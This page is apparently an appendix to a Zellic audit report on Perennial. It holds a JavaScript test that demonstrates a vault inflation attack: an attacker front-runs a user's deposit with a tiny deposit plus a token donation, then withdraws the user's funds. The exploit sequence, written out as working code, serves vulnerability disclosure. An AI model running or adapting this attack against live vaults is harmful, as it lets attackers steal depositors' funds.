Assessment reports>Perennial>Appendix>Vault inflation POC code

Vault inflation POC code

Proof of concept code for Vault inflation attack:

it.only('inflation attack', async () => {
  const stat = async () => {
    console.log('\n--- state ---');
    console.log('user shares:',     (await vault.accounts(user.address)).shares.toNumber());
    console.log('user balance:',    ethers.utils.formatEther(await asset.balanceOf(user.address)));
    console.log('attacker shares:', (await vault.accounts(user2.address)).shares.toNumber());
    console.log('attacker balance:',ethers.utils.formatEther(await asset.balanceOf(user2.address)));
    console.log('-------------\n');
  };
  console.log('start');
  await stat();

  console.log('user signs tx depositing 1000, tx in mempool');
  const userDeposit = parse6decimal('1000');

  console.log('attacker frontruns with a deposit of 0.000001 and a donation of 1000');
  await vault.connect(user2).update(user2.address, 1, 0, 0);
  await updateOracle();
  await vault.settle(user2.address);
  await asset.connect(user2).transfer(vault.address, userDeposit.mul(1e12));
  await stat();

  console.log('user deposit of 1000 occurs');
  await vault.connect(user).update(user.address, userDeposit, 0, 0);
  await updateOracle();
  await vault.settle(user.address);
  await stat();

  console.log('attacker withdraws all coins');
  await vault.connect(user2).update(user2.address, 0, (await vault.accounts(user2.address)).shares, 0);
  await updateOracle();
  await vault.settle(user2.address);
  await vault.connect(user2).update(user2.address, 0, 0, ethers.constants.MaxUint256)
  await stat();
});
Zellic © 2025Back to top ↑